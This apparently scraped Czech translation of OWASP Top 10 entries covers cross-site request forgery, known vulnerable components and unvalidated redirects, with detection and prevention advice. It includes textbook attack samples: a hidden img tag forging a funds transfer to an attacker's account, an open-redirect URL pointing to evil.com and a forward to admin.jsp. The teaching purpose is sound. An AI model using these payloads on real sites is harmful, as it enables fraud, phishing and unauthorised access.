Aplikace umožní uživateli zaslat požadavek na změnu stavu, který neobsahuje žádné citlivé informace. Například: http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243

Útočník podle něj vytvoří požadavek, který převede peníze z účtu oběti na svůj účet. Pak vloží tento požadavek na nějakou svou stránku do požadavku na obrázek nebo do iframu: <img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“
width="0" height="0" />

Když oběť navštíví jednu z těchto útočníkových stránek, podvržený požadavek se odešle, a pokud bude oběť zároveň přihlášena k example.com, bude požadavek automaticky obsahovat informace o relaci oběti, čímž bude autorizován.

Odkazy

OWASP:

Další požadavky na řízení přístupu viz v ASVS requirements area for Access Control (V4).

Externí:

Originál o Cross-Site Scripting (XSS) v angličtině

Původce hrozby Vektor útoku Bezpečnostní slabina Technické dopady Obchodní dopady
Aplikační specifikum Zneužitelnost
průměrná
Rozšíření
rozsáhlé
Zjistitelnost
obtížná
Dopad
střední
Aplikační / obchodní specifikum
Některé zranitelné komponenty (např. knihovny) mohou být identifikovány a zneužity automatickými nástroji. Skupina útočníků se tím rozšiřuje ze záměrných útočníků také o aktéry, kteří jednají náhodně. Útočník identifikuje automatickým skenováním nebo při ručním procházení stránek slabou komponentu. Útok přizpůsobí nalezené zranitelnosti a pak ho provede. Čím je zranitelná komponenta hlouběji v aplikaci, tím je útok obtížnější. Tyto nedostatky má mnoho aplikací, protože vývojáři nevěnují dostatečnou pozornost tomu, jestli jsou jejich komponenty a knihovny aktuální. V mnoha případech vývojáři ani nevědí, jaké komponenty využívají, tím méně znají jejich verze. Situaci ještě zhoršují závislosti mezi jednotlivými komponentami. Může se vyskytnout jakákoli zranitelnosti, např. injektování, prolomení přístupu do aplikace a XSS. Dopad se pak pohybuje od minimálního až po úplné převzetí kontroly nad hostitelem a kompromitaci dat. Je potřeba zvážit, jaký dopad může každá zranitelnost mít na činnost vaší organizace, kterou zajišťuje napadená aplikace. Může být nevýznamná, nebo naopak může znamenat naprostou kompromitaci.
Jsem zranitelný vůči „použití známých zranitelných komponent“?

Teoreticky by mělo být jednoduché zjistit, jestli nějakou zranitelnou komponentu v aplikaci používáte. Bohužel hlášení o zranitelnostech v komerčním nebo open source softwaru ne vždy jasně specifikují, které verze komponent jsou zranitelné. Navíc se ve všech knihovnách nevyužívá srozumitelný způsob číslovaní verzí. Nejhorší je, že ne všechny zranitelnosti jsou nahlašovány do centrálního, snadno prohledatelného systému. Je ovšem potřeba říci, že na stránkách jako CVE a NVD se postupem času vyhledává stále snáze.

Zda váš systém obsahuje nějakou zranitelnou komponentu, zjistíte procházením těchto databází a neustálým sledováním e-mailových konferencí a oznámeních o možných zranitelnostech. Pokud nějaká komponenta zranitelnost obsahuje, je potřebné zkontrolovat, jestli váš kód příslušnou část této komponenty využívá a jaký dopad by mělo její zneužití.

Jak mohu předejít „použití známých zranitelných komponent“?

Jednou z možností je nepoužívat komponenty, které jste si sami nanapsali. To je však téměř nemožné.

Mnohé projekty nevydávají bezpečnostní záplaty pro starší verze svých komponent. Místo toho se zranitelnosti většinou opravují v dalších verzích. Proto je důležité aktualizovat komponenty na tyto nové verze. Součástí softwarových projektů by měl být proces:

  • 1. Identifikace všech verzí používaných komponent včetně všech závislostí (např. pomocí zásuvného modulu Version).
  • 2. Sledování bezpečnosti těchto komponent ve veřejných databázích a projektových a bezpečnostních e-mailových konferencích a udržování jejich aktuální verze.
  • 3. Stanovení bezpečnostní politiky řídící používaní komponent. Tato politika by měla obsahovat požadavky na metodiku vývoje software, bezpečnostní testy a přípustné licence.
  • 4. Kde je to vhodné, přidat do komponent bezpečnostní prvky, které znemožní využívání jejich nepoužívaných funkcí a ošetří jejich slabé a zranitelné aspekty.
Příklady možných útoků

Kvůli zranitelnosti komponenty může dojít k široké škále rizik, ať už ji využije jednoduchý nebo komplikovaný škodlivý software vytvořený k útoku na konkrétní organizaci. Jednotlivé komponenty často běží s plnými právy aplikace, a proto je nebezpečí vážné v případě kterékoliv komponenty. Následující dvě zranitelné komponenty byly roku 2011 staženy 22miliónkrát.

  • Apache CXF Authentication Bypass– Pokud nastala chyba při zavádění identifikačního předmětu, mohli útočníci přistupovat k webovým službám s plnými právy. (Apache CXF je framework pro práci s webovými službami, nikoli webový server Apache).
  • Spring Remote Code Execution – Zneužití implementace Expression Language ve Springu umožnilo útočníkům vykonání libovolného kódu, což znamenalo převzetí kontroly nad serverem.

Každá aplikace, která využívá některou z těchto zranitelných komponent, je zranitelná, protože obě komponenty jsou dostupné uživateli aplikace přímo. Další zranitelné knihovny, které se používají hlouběji v aplikaci, jsou zneužitelné hůře.

Odkazy

OWASP:

Externí:

Originál o Cross-Site Scripting (XSS) v angličtině

Původce hrozby Vektor útoku Bezpečnostní slabina Technické dopady Obchodní dopady
Aplikační specifikum Zneužitelnost
průměrná
Rozšíření
vzácné
Zjistitelnost
snadná
Dopad
střední
Aplikační / obchodní specifikum
Vezměte v úvahu každého, kdo může podvést vaše uživatele tím, že je přiměje k zaslání požadavku na vaše stránky. Takto je možné zneužít všechny stránky i zdroje HTML, které uživatelé používají. Útočník vytvoří odkaz na neověřené přesměrování a přiměje oběť, aby na něj klikla. Jelikož odkaz směřuje na ověřenou stránku, oběť na něj pravděpodobně klikne. Útočník zacílí přesměrování tak, aby obešlo bezpečnostní kontroly. Aplikace často přesměrovávají uživatele na jiné stránky nebo používají obdobným způsobem interní přesměrování. Někdy je cílová stránka specifikovaná v neověřovaném parametru, a tak umožňuje útočníkům vybrat libovolnou cílovou stránku. Najít neověřené přesměrování na jiné stránky je jednoduché: hledejte přesměrování, která umožňují zadat celé URL. Najít neověřená přesměrování v rámci interních stránek je těžší. Toto přesměrování se může pokusit nainstalovat škodlivý software nebo lstí přimět uživatele k tomu, aby prozradil heslo či jiné citlivé informace. Neověřené přesměrování může umožnit obejití mechanismů řízení přístupu. Zvažte obchodní hodnotu udržení si důvěry uživatelů. Co když se nakazí škodlivým softwarem? Co když se útočníci dostanou k vnitřním funkcím aplikace?
Jsem zranitelný vůči „neověřeným přesměrováním“?

Nejlepší způsob, jak zjistit, jestli jsou v aplikaci neověřená přesměrování:

  • 1. Zkontrolujte všechna přesměrování v kódu nebo forwarding (v .NET se nazývají transfer). U každého z nich zkontrolujte, zda je cílové URL obsahem některého parametru. Aplikace je zranitelná, pokud je tomu tak a pokud se toto URL neověřuje v seznamu povolených adres.
  • 2. Použijte také webového robota, abyste zjistili, zda stránky generují přesměrování (odpovědi HTTP 300–307, nejčastěji 302). Zkontrolujte, zda parametry před přesměrováním neobsahují nějakou část cílové URL. Pokud ano, zkuste tuto část podvrhnout a zkontrolujte, zda došlo k přesměrování na nový cíl.
  • 3. Pokud nemáte k dispozici kód, zkontrolujte a otestujte všechny parametry, které vypadají jako část URL, na které je nastavené přesměrovaní.
Jak mohu předejít „neověřeným přesměrováním“?

Přesměrovávat bezpečně lze různými způsoby:

  • 1. Žádná přesměrování nepoužívejte.
  • 2. Pokud už je používáte, ať cílová adresa není ovlivněna uživatelskými parametry. Toho se dosáhne snadno.
  • 3. Pokud se těmto parametrům nedá vyhnout, zabezpečte, aby jejich hodnota byla platná a autorizovaná pro daného uživatele. Doporučuje se, aby každý takový parametr byl mapovací hodnotou, nikoli skutečným URL nebo jeho částí, a aby mapovací hodnotu na cílové URL překládal server. Aplikace může využívat ESAPI s metodou sendRedirect(), která zajistí, aby všechna přesměrovaní byla bezpečná.

Tato zranitelnost bývá často zneužívána rhybáři snažícími se získat důvěru uživatelů, proto je nesmírně důležité jí předejít.

Příklady možných útoků

Scénář č. 1: V aplikaci je stránka s názvem „redirect.jsp“, která obsahuje jediný parametr s názvem „url“. Útočník vytvoří škodlivé URL přesměrovávající uživatele na škodlivou phishingovou stránku, která nainstaluje škodlivý software.
http://www.example.com/redirect.jsp?url=evil.com

Scénář č. 2: Aplikace používá interní přesměrování, aby přepojila požadavky mezi různými částmi stránek. K tomu některé stránky využívají parametr určující, kam by měl být uživatel přesměrován v případě úspěchu transakce. Pokud aplikace nekontroluje URL, útočník ho upraví a přesměruje na administrativní funkce, k nimž není autorizován.
http://www.example.com/boring.jsp?fwd=admin.jsp

Odkazy

OWASP:

Externí:

Originál o Cross-Site Scripting (XSS) v angličtině